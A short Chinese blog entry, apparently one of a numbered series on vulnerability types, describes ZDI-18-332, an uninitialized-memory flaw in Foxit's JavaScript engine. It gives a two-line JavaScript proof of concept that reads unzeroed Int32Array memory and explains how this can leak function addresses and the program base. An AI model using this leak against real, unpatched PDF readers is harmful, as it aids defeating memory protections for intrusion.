Tuesday, June 26, 2018

[06] 支持动态语言的程序使用未初始化的内存

https://www.zerodayinitiative.com/advisories/ZDI-18-332/

var int32View = new Int32Array(0×6c);
app.alert(util.printf(”Uninitialized: 0x%04x”, int32View[0]));

Foxit中,当新建一个Int32Array,而且不赋予初始值时,Foxit并没有清零内存,而是直接使用内存。

因此,用户的脚本语言可以得到内存上原始的值。通过特定的创建、释放序列可以泄露函数地址,进而泄露程序基址。